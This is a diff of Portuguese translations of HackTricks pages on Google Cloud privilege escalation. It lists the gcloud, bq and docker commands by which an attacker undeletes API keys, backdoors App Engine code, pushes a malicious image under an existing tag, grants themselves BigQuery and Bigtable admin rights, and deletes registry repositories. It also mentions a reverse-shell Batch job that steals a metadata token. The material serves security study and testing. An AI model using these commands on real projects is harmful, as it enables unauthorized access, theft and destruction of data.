### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Essas permissões permitem que você **liste e regenere chaves de API deletadas**. A **chave de API é fornecida na saída** após a **desfazer exclusão** ser concluída:
Essas permissões permitem que você **liste e regenere api keys deletadas**. A **API key é exibida na saída** após o **undelete** ser executado:
<details>
<summary>Listar e undelete API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
### Criar Aplicativo OAuth Interno para phishing de outros trabalhadores
</details>
Verifique a página a seguir para aprender como fazer isso, embora essa ação pertença ao serviço **`clientauthconfig`** [de acordo com a documentação](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
### Criar Aplicação OAuth Interna para phish outros colaboradores
Consulte a página a seguir para aprender como fazer isso, embora esta ação pertença ao serviço **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/

View File

@@ -4,7 +4,7 @@
## App Engine
Para mais informações sobre o App Engine, consulte:
Para mais informações sobre o App Engine, veja:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,26 +12,34 @@ Para mais informações sobre o App Engine, consulte:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Essas são as permissões necessárias para **implantar um App usando `gcloud` cli**. Talvez as permissões **`get`** e **`list`** possam ser **evitadas**.
Essas são as permissões necessárias para **implantar um App usando a CLI `gcloud`**. Talvez as permissões **`get`** e **`list`** possam ser **evitadas**.
Você pode encontrar exemplos de código em python em [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Você pode encontrar exemplos de código Python em [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Por padrão, o nome do serviço App será **`default`**, e pode haver apenas 1 instância com o mesmo nome.\
Para alterá-lo e criar um segundo App, em **`app.yaml`**, mude o valor da chave raiz para algo como **`service: my-second-app`**
Para alterá-lo e criar um segundo App, em **`app.yaml`**, altere o valor da chave raiz para algo como **`service: my-second-app`**
<details>
<summary>Implantar aplicação do App Engine</summary>
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Dê pelo menos 10-15 minutos, se não funcionar, chame **deploy another of times** e aguarde alguns minutos.
</details>
Dê pelo menos 1015 minutos; se não funcionar, execute **deploy** novamente e aguarde alguns minutos.
> [!NOTE]
> É **possível indicar a Conta de Serviço a ser usada**, mas por padrão, a SA padrão do App Engine é utilizada.
> É **possível indicar o Service Account a usar**, mas por padrão é usado o App Engine default SA.
A URL da aplicação é algo como `https://<proj-name>.oa.r.appspot.com/` ou `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Atualizar permissões equivalentes
Você pode ter permissões suficientes para atualizar um AppEngine, mas não para criar um novo. Nesse caso, é assim que você poderia atualizar o App Engine atual:
<details>
<summary>Atualizar aplicação existente do App Engine</summary>
```bash
# Find the code of the App Engine in the buckets
gsutil ls
@@ -62,41 +70,58 @@ gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Se você **já comprometeu um AppEngine** e tem a permissão **`appengine.applications.update`** e **actAs** sobre a conta de serviço que você poderia modificar a conta de serviço usada pelo AppEngine com:
</details>
Se você **já comprometeu um AppEngine** e tem a permissão **`appengine.applications.update`** e **actAs** sobre a conta de serviço que vai usar, você poderia modificar a conta de serviço usada pelo AppEngine com:
<details>
<summary>Atualizar conta de serviço do App Engine</summary>
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
</details>
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Com essas permissões, é possível **fazer login via ssh em instâncias do App Engine** do tipo **flexível** (não padrão). Algumas das permissões **`list`** e **`get`** **podem não ser realmente necessárias**.
Com essas permissões, é possível **fazer login via ssh em instâncias do App Engine** do tipo **flexible** (não **standard**). Algumas das permissões **`list`** e **`get`** **podem não ser realmente necessárias**.
<details>
<summary>SSH em instância do App Engine</summary>
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
</details>
### `appengine.applications.update`, `appengine.operations.get`
Eu acho que isso apenas muda a SA de fundo que o Google usará para configurar as aplicações, então não acho que você possa abusar disso para roubar a conta de serviço.
Acho que isso apenas altera a SA de fundo que o google usará para configurar as aplicações, então não acho que você possa abusar disso para roubar a conta de serviço.
<details>
<summary>Atualizar conta de serviço da aplicação</summary>
```bash
gcloud app update --service-account=<sa_email>
```
</details>
### `appengine.versions.getFileContents`, `appengine.versions.update`
Não tenho certeza de como usar essas permissões ou se elas são úteis (note que quando você altera o código, uma nova versão é criada, então não sei se você pode apenas atualizar o código ou o papel IAM de um, mas eu acho que você deve ser capaz de, talvez mudando o código dentro do bucket??).
Não tenho certeza de como usar essas permissões ou se são úteis (observe que quando você altera o código uma nova versão é criada, então não sei se é possível apenas atualizar o código ou o IAM role de uma versão, mas acho que deveria ser possível, talvez alterando o código dentro do bucket??).
### Acesso de Escrita sobre os buckets
### Write Access over the buckets
Como mencionado, as versões do appengine geram alguns dados dentro de um bucket com o formato nome: `staging.<project-id>.appspot.com`. Note que não é possível assumir esse bucket antecipadamente porque os usuários do GCP não estão autorizados a gerar buckets usando o nome de domínio `appspot.com`.
Como mencionado as versões do AppEngine geram alguns dados dentro de um bucket com o formato de nome: `staging.<project-id>.appspot.com`. Note que não é possível pre-takeover esse bucket porque usuários GCP não estão autorizados a gerar buckets usando o domínio `appspot.com`.
No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para o SA anexado à versão do AppEngine monitorando o bucket e, a qualquer momento que uma alteração for realizada, modificar o código o mais rápido possível. Dessa forma, o contêiner que é criado a partir desse código **executará o código com backdoor**.
No entanto, com acesso de leitura & escrita sobre esse bucket, é possível escalar privilégios para a SA attached to the AppEngine version monitorando o bucket e, toda vez que uma mudança for realizada, modificar o código o mais rápido possível. Desta forma, o container que é criado a partir desse código irá **execute the backdoored code**.
Para mais informações e um **PoC, verifique as informações relevantes desta página**:
Para mais informações e um **PoC veja as informações relevantes nesta página**:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
### Acesso de Escrita sobre o Registro de Artefatos
### Write Access over the Artifact Registry
Embora o App Engine crie imagens docker dentro do Registro de Artefatos. Foi testado que **mesmo que você modifique a imagem dentro deste serviço** e remova a instância do App Engine (para que uma nova seja implantada), o **código executado não muda**.\
Pode ser possível que, realizando um **ataque de Condição de Corrida como com os buckets, pode ser possível sobrescrever o código executado**, mas isso não foi testado.
Embora o App Engine crie docker images dentro do Artifact Registry, foi testado que **mesmo se você modificar a imagem dentro deste serviço** e remover a instância do App Engine (então uma nova é implantada) o **código executado não muda**.\
Pode ser possível que, realizando um **Race Condition attack, como com os buckets, seja possível sobrescrever o código executado**, mas isso não foi testado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Privesc do Artifact Registry
# GCP - Artifact Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Artifact Registry
Para mais informações sobre o Artifact Registry, consulte:
Para mais informações sobre Artifact Registry, veja:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,10 @@ Para mais informações sobre o Artifact Registry, consulte:
### artifactregistry.repositories.uploadArtifacts
Com esta permissão, um atacante poderia fazer upload de novas versões dos artefatos com código malicioso, como imagens Docker:
Com essa permissão um atacante poderia fazer upload de novas versões dos artefatos com código malicioso, como imagens Docker:
<details>
<summary>Upload Docker image to Artifact Registry</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
> [!CAUTION]
> Foi verificado que é **possível fazer upload de uma nova imagem docker maliciosa** com o mesmo nome e tag da que já está presente, então a **antiga perderá a tag** e na próxima vez que essa imagem com essa tag for **baixada, a maliciosa** será baixada.
> Foi verificado que é **possível fazer upload de uma nova imagem docker maliciosa** com o mesmo nome e tag que a já presente, então a **imagem antiga perderá a tag** e, da próxima vez que essa imagem com essa tag for **baixada**, a maliciosa será obtida.
<details>
<summary>Fazer upload de uma biblioteca Python</summary>
**Comece criando a biblioteca para fazer upload** (se você puder baixar a versão mais recente do registro, pode evitar esta etapa):
**Comece criando a biblioteca a ser enviada** (se você conseguir baixar a versão mais recente do registry pode evitar este passo):
1. **Configure a estrutura do seu projeto**:
- Crie um novo diretório para sua biblioteca, por exemplo, `hello_world_library`.
- Dentro deste diretório, crie outro diretório com o nome do seu pacote, por exemplo, `hello_world`.
- Dentro do diretório do seu pacote, crie um arquivo `__init__.py`. Este arquivo pode estar vazio ou pode conter inicializações para seu pacote.
- Dentro desse diretório, crie outro diretório com o nome do seu pacote, por exemplo, `hello_world`.
- Dentro do diretório do pacote, crie um arquivo `__init__.py`. Esse arquivo pode ficar vazio ou conter inicializações para o seu pacote.
<details>
<summary>Criar estrutura do projeto</summary>
```bash
mkdir hello_world_library
@@ -45,10 +53,15 @@ mkdir hello_world
touch hello_world/__init__.py
```
</details>
2. **Escreva o código da sua biblioteca**:
- Dentro do diretório `hello_world`, crie um novo arquivo Python para seu módulo, por exemplo, `greet.py`.
- Escreva sua função "Hello, World!":
- Dentro do diretório `hello_world`, crie um novo arquivo Python para o seu módulo, por exemplo, `greet.py`.
- Escreva a função "Hello, World!":
<details>
<summary>Criar módulo da biblioteca</summary>
```python
# hello_world/greet.py
@@ -56,10 +69,15 @@ def say_hello():
return "Hello, World!"
```
</details>
3. **Crie um arquivo `setup.py`**:
- Na raiz do seu diretório `hello_world_library`, crie um arquivo `setup.py`.
- Este arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
- Na raiz do diretório `hello_world_library`, crie um arquivo `setup.py`.
- Esse arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
<details>
<summary>Criar arquivo setup.py</summary>
```python
# setup.py
@@ -70,47 +88,70 @@ name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Quaisquer dependências que sua biblioteca precisa
# Any dependencies your library needs
],
)
```
**Agora, vamos fazer upload da biblioteca:**
</details>
**Agora, vamos enviar a biblioteca:**
1. **Construa seu pacote**:
- Da raiz do seu diretório `hello_world_library`, execute:
- A partir da raiz do diretório `hello_world_library`, execute:
<details>
<summary>Build Python package</summary>
```sh
python3 setup.py sdist bdist_wheel
```
2. **Configure a autenticação para o twine** (usado para fazer upload do seu pacote):
- Certifique-se de que você tenha `twine` instalado (`pip install twine`).
- Use `gcloud` para configurar as credenciais:
````
</details>
2. **Configure a autenticação para o twine** (usado para enviar seu pacote):
- Certifique-se de que `twine` esteja instalado (`pip install twine`).
- Use o `gcloud` para configurar credenciais:
<details>
<summary>Enviar pacote com twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
````
3. **Limpar a construção**
</details>
3. **Limpar o build**
<details>
<summary>Limpar artefatos de build</summary>
```bash
rm -rf dist build hello_world.egg-info
```
</details>
</details>
> [!CAUTION]
> Não é possível fazer upload de uma biblioteca python com a mesma versão que a já presente, mas é possível fazer upload de **versões maiores** (ou adicionar um extra **`.0` no final** da versão se isso funcionar -não em python, porém-), ou **deletar a última versão e fazer upload de uma nova com** (necessário `artifactregistry.versions.delete)`**:**
> Não é possível fazer upload de uma biblioteca python com a mesma versão que a já presente, mas é possível fazer upload de **versões maiores** (ou adicionar um **`.0` no final** da versão se isso funcionar não em python, porém), ou **deletar a última versão e fazer upload de uma nova com** (necessário `artifactregistry.versions.delete`):
>
> <details>
> <summary>Excluir versão do artifact</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>
### `artifactregistry.repositories.downloadArtifacts`
Com esta permissão você pode **baixar artefatos** e procurar por **informações sensíveis** e **vulnerabilidades**.
Com essa permissão você pode **baixar artefatos** e procurar por **informações sensíveis** e **vulnerabilidades**.
Baixar uma **imagem** Docker:
Baixar uma imagem **Docker**:
<details>
<summary>Download Docker image from Artifact Registry</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
Baixe uma biblioteca **python**:
</details>
Baixar uma biblioteca **python**:
<details>
<summary>Baixar biblioteca Python do Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
- O que acontece se um registro remoto e um padrão forem misturados em um virtual e um pacote existir em ambos? Confira esta página:
</details>
- O que acontece se um registro remoto e um registro padrão forem misturados em um registro virtual e um pacote existir em ambos? Confira esta página:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Exclui artefatos do registro, como imagens docker:
Excluir artefatos do registro, como imagens docker:
<details>
<summary>Excluir imagem Docker do Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
### `artifactregistry.repositories.delete`
Exclui um repositório completo (mesmo que tenha conteúdo):
Excluir um repositório do Artifact Registry (mesmo que contenha conteúdo):
<details>
<summary>Excluir repositório do Artifact Registry</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
</details>
### `artifactregistry.repositories.setIamPolicy`
Um atacante com essa permissão poderia se conceder permissões para realizar alguns dos ataques ao repositório mencionados anteriormente.
Um atacante com essa permissão poderia conceder a si mesmo permissões para realizar alguns dos ataques a repositório mencionados anteriormente.
### Pivotando para outros Serviços através da Leitura e Escrita do Artifact Registry
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
Quando uma Cloud Function é criada, uma nova imagem docker é enviada para o Artifact Registry do projeto. Tentei modificar a imagem por uma nova, e até mesmo deletar a imagem atual (e a imagem `cache`), e nada mudou, a cloud function continuou funcionando. Portanto, talvez **possa ser possível abusar de um ataque de Condição de Corrida** como com o bucket para mudar o contêiner docker que será executado, mas **apenas modificar a imagem armazenada não é possível comprometer a Cloud Function**.
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the Cloud Function continuou funcionando. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function**.
- **App Engine**
Embora o App Engine crie imagens docker dentro do Artifact Registry. Foi testado que **mesmo se você modificar a imagem dentro deste serviço** e remover a instância do App Engine (para que uma nova seja implantada), o **código executado não muda**.\
Pode ser possível que realizando um **ataque de Condição de Corrida como com os buckets, pode ser possível sobrescrever o código executado**, mas isso não foi testado.
Although App Engine creates docker images inside Artifact Registry, foi testado que **mesmo se você modificar a image dentro desse serviço** e remover a App Engine instance (fazendo com que uma nova seja implantada), o **código executado não muda**.\
Pode ser possível que realizando um **Race Condition attack como com os buckets** seja possível sobrescrever o código executado, mas isso não foi testado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,10 @@ Informações básicas:
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
É possível criar um trabalho em lote, obter um shell reverso e exfiltrar o token de metadados da SA (SA de computação por padrão).
É possível criar um batch job, obter um reverse shell e exfiltrar o metadata token da SA (compute SA por padrão).
<details>
<summary>Criar Batch job com reverse shell</summary>
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
}
EOD
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## BigQuery
Para mais informações sobre BigQuery, consulte:
Para mais informações sobre BigQuery, confira:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
@@ -12,21 +12,34 @@ Para mais informações sobre BigQuery, consulte:
### Ler Tabela
Ler as informações armazenadas dentro de uma tabela BigQuery pode ser possível encontrar informações **sensíveis**. Para acessar as informações, as permissões necessárias são **`bigquery.tables.get`**, **`bigquery.jobs.create`** e **`bigquery.tables.getData`**:
Ao ler as informações armazenadas dentro de uma tabela do BigQuery, pode ser possível encontrar **informações sensíveis**. Para acessar as informações são necessárias as permissões **`bigquery.tables.get`**, **`bigquery.jobs.create`** e **`bigquery.tables.getData`**:
<details>
<summary>Ler dados da tabela BigQuery</summary>
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
</details>
### Exportar dados
Esta é outra maneira de acessar os dados. **Exporte para um bucket de armazenamento em nuvem** e **baixe os arquivos** com as informações.\
Para realizar esta ação, as seguintes permissões são necessárias: **`bigquery.tables.export`**, **`bigquery.jobs.create`** e **`storage.objects.create`**.
Esta é outra forma de acessar os dados. **Exporte-os para um bucket do Cloud Storage** e **faça o download dos arquivos** com as informações.\
Para executar esta ação são necessárias as seguintes permissões: **`bigquery.tables.export`**, **`bigquery.jobs.create`** e **`storage.objects.create`**.
<details>
<summary>Export BigQuery table to Cloud Storage</summary>
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
</details>
### Inserir dados
Pode ser possível **introduzir certos dados confiáveis** em uma tabela Bigquery para abusar de uma **vulnerabilidade em algum outro lugar.** Isso pode ser facilmente feito com as permissões **`bigquery.tables.get`**, **`bigquery.tables.updateData`** e **`bigquery.jobs.create`**:
Pode ser possível **introduzir certos dados confiáveis** em uma tabela BigQuery para abusar de uma **vulnerabilidade em outro lugar.** Isso pode ser feito facilmente com as permissões **`bigquery.tables.get`**, **`bigquery.tables.updateData`** e **`bigquery.jobs.create`**:
<details>
<summary>Inserir dados na tabela BigQuery</summary>
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
</details>
### `bigquery.datasets.setIamPolicy`
Um atacante poderia abusar desse privilégio para **dar a si mesmo permissões adicionais** sobre um conjunto de dados do BigQuery:
Um atacante poderia abusar desse privilégio para **conceder a si mesmo permissões adicionais** sobre um conjunto de dados do BigQuery:
<details>
<summary>Definir política IAM em um conjunto de dados do BigQuery</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
</details>
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
Apenas esta permissão permite **atualizar seu acesso a um conjunto de dados do BigQuery modificando os ACLs** que indicam quem pode acessá-lo:
Apenas esta permissão permite **atualizar seu acesso a um dataset do BigQuery modificando as ACLs** que indicam quem pode acessálo:
<details>
<summary>Atualizar ACLs do dataset do BigQuery</summary>
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
</details>
### `bigquery.tables.setIamPolicy`
Um atacante poderia abusar desse privilégio para **dar a si mesmo permissões adicionais** sobre uma tabela do BigQuery:
Um atacante poderia abusar desse privilégio para **conceder a si mesmo permissões adicionais** sobre uma tabela BigQuery:
<details>
<summary>Definir política IAM na tabela BigQuery</summary>
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
De acordo com a documentação, com as permissões mencionadas é possível **atualizar uma política de linha.**\
No entanto, **usando o cli `bq`** você precisa de mais algumas: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
De acordo com a documentação, com as permissões mencionadas é possível **atualizar uma row policy.**\
No entanto, **usando o cli `bq`** você precisa de mais permissões: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Create or replace row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
É possível encontrar o ID do filtro na saída da enumeração de políticas de linha. Exemplo:
</details>
É possível encontrar o filter ID na saída da enumeração de row policies. Exemplo:
<details>
<summary>Listar row access policies</summary>
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
Se você tiver **`bigquery.rowAccessPolicies.delete`** em vez de `bigquery.rowAccessPolicies.update`, você também pode simplesmente excluir a política:
</details>
Se você tiver **`bigquery.rowAccessPolicies.delete`** em vez de `bigquery.rowAccessPolicies.update` você também pode simplesmente excluir a política:
<details>
<summary>Excluir políticas de acesso por linha</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
</details>
> [!CAUTION]
> Outra opção potencial para contornar as políticas de acesso a linhas seria apenas mudar o valor dos dados restritos. Se você só pode ver quando `term` é `Cfba`, basta modificar todos os registros da tabela para ter `term = "Cfba"`. No entanto, isso é impedido pelo bigquery.
> Outra opção potencial para contornar row access policies seria simplesmente alterar o valor dos dados restritos. Se você só consegue ver quando `term` é `Cfba`, basta modificar todos os registros da tabela para que `term = "Cfba"`. No entanto, isso é prevenido pelo bigquery.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -14,38 +14,48 @@ Para mais informações sobre Bigtable, consulte:
**Permissões:** `bigtable.instances.setIamPolicy` (e normalmente `bigtable.instances.getIamPolicy` para ler os vínculos atuais).
Controlar a política IAM da instância permite que você se conceda **`roles/bigtable.admin`** (ou qualquer role personalizada), o que se propaga para cada cluster, tabela, backup e visualização autorizada na instância.
Ser proprietário da política IAM da instância permite que você se conceda **`roles/bigtable.admin`** (ou qualquer função personalizada), que se propaga para cada cluster, tabela, backup e visualização autorizada na instância.
<details><summary>Conceda a si mesmo a função bigtable.admin na instância</summary>
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Se você não consegue listar as bindings existentes, crie um novo documento de política e aplique-o com `gcloud bigtable instances set-iam-policy`, desde que você mantenha sua própria permissão nele.
</details>
Depois de obter essa permissão, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para técnicas sobre outras maneiras de abusar das permissões do Bigtable.
> [!TIP]
> Se não conseguir listar os bindings existentes, crie um novo documento de política e envie-o com `gcloud bigtable instances set-iam-policy`, desde que você mantenha sua própria entrada nele.
Depois de obter essa permissão, consulte a seção [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para mais formas de abusar das permissões do Bigtable.
### `bigtable.tables.setIamPolicy`
**Permissões:** `bigtable.tables.setIamPolicy` (opcionalmente `bigtable.tables.getIamPolicy`).
As políticas de instância podem ser restritas enquanto tabelas individuais são delegadas. Se você conseguir editar o IAM da tabela, pode **se promover a proprietário do conjunto de dados alvo** sem afetar outras cargas de trabalho.
As políticas de instância podem estar bloqueadas enquanto tabelas individuais são delegadas. Se você puder editar o IAM da tabela, pode **se promover a proprietário do conjunto de dados alvo** sem afetar outras cargas de trabalho.
<details><summary>Grant yourself bigtable.admin role on table</summary>
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Depois de obter essa permissão, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para mais maneiras de abusar das permissões do Bigtable.
</details>
Depois de obter essa permissão, verifique na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) as técnicas para mais maneiras de abusar das permissões do Bigtable.
### `bigtable.backups.setIamPolicy`
**Permissões:** `bigtable.backups.setIamPolicy`
Backups podem ser restaurados para **qualquer instância em qualquer projeto** que você controla. Primeiro, à sua identidade acesso ao backup e, em seguida, restaure-o em um sandbox onde você tenha roles Admin/Owner.
Backups podem ser restaurados para **qualquer instância em qualquer projeto** que você controle. Primeiro, conceda à sua identidade acesso ao backup e, em seguida, restaure-o em um sandbox onde você possua funções Admin/Owner.
Se você tem a permissão `bigtable.backups.setIamPolicy`, pode conceder a si mesmo a permissão `bigtable.backups.restore` para restaurar backups antigos e tentar acessar informações sensíveis.
Se você tem a permissão `bigtable.backups.setIamPolicy`, você pode conceder a si mesmo a permissão `bigtable.backups.restore` para restaurar backups antigos e tentar acessar informações sensíveis.
<details><summary>Take ownership of backup snapshot</summary>
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
@@ -53,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Depois de verificar esta permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como restaurar um backup.
</details>
### Atualizar Authorized View
Depois de verificar essa permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como restaurar um backup.
### Atualizar authorized view
**Permissões:** `bigtable.authorizedViews.update`
Authorized Views destinam-se a ocultar linhas/colunas. Modificá-las ou excluí-las **remove as salvaguardas granulares nas quais os defensores confiam**.
Authorized Views destinam-se a mascarar linhas/colunas. Modificá-las ou excluí-las **removem as restrições granulares nas quais os defensores confiam**.
<details><summary>Atualizar authorized view para ampliar o acesso</summary>
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
@@ -84,13 +99,17 @@ EOF
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Depois de verificar essa permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de uma Authorized View.
</details>
Depois de obter essa permissão, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de um Authorized View.
### `bigtable.authorizedViews.setIamPolicy`
**Permissões:** `bigtable.authorizedViews.setIamPolicy`.
Um attacker com essa permissão pode conceder a si mesmo acesso a uma Authorized View, que pode conter dados sensíveis aos quais ele não teria acesso de outra forma.
Um atacante com essa permissão pode conceder a si mesmo acesso a um Authorized View, que pode conter dados sensíveis aos quais normalmente não teria acesso.
<details><summary>Conceda a si mesmo acesso a um Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
@@ -98,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Depois de ter essa verificação de permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de uma visualização autorizada.
</details>
Depois de ter essa verificação de permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para verificar como ler a partir de uma visualização autorizada.

View File

@@ -2,7 +2,7 @@
